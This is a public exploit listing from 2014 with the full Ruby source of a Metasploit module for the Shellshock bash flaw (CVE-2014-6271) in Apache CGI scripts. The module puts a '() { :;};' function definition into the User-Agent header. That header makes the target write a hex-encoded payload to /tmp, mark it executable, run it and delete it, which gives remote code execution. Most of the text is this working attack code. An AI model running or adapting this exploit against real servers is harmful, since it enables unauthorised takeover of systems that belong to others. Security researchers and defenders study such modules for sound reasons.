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Shellshock Bashed CGI RCE

Shellshock Bashed CGI RCE
Posted Oct 3, 2014
Authored by Fady Mohamed Osman, Stephane Chazelas | Site metasploit.com

This Metasploit module exploits the shellshock vulnerability in apache cgi. It allows you to execute any metasploit payload you want.

tags | exploit, cgi
advisories | CVE-2014-6271
SHA-256 | a864c843ce6ef903a561a68316c0959dd2b138cad93a26d0f8f6d85e6d98db5d

Shellshock Bashed CGI RCE

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Shellshock Bashed CGI RCE',
'Description' => %q{
This module exploits the shellshock vulnerability in apache cgi. It allows you to
excute any metasploit payload you want.
},
'Author' =>
[
'Stephane Chazelas', # vuln discovery
'Fady Mohamed Osman' # Metasploit module f.othman at zinad.net
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-6271' ]
],
'Payload' =>
{
'BadChars' => "",
},
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 13 2014'))

register_options(
[
OptString.new('TARGETURI', [true, 'The CGI url', '/cgi-bin/test.sh']) ,
OptString.new('FILEPATH', [true, 'The url ', '/tmp'])
], self.class)
end

def exploit
@payload_name = "#{rand_text_alpha(5)}"
full_path = datastore['FILEPATH'] + '/' + @payload_name
payload_exe = generate_payload_exe
if payload_exe.blank?
fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
end
peer = "#{rhost}:#{rport}"
print_status("#{peer} - Creating payload #{full_path}")
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['TARGETURI'],
'agent' => "() { :;}; /bin/bash -c \"" + "printf " + "\'" + Rex::Text.hexify(payload_exe).gsub("\n",'') + "\'" + "> #{full_path}; chmod +x #{full_path};#{full_path};rm #{full_path};\""
})
end
end
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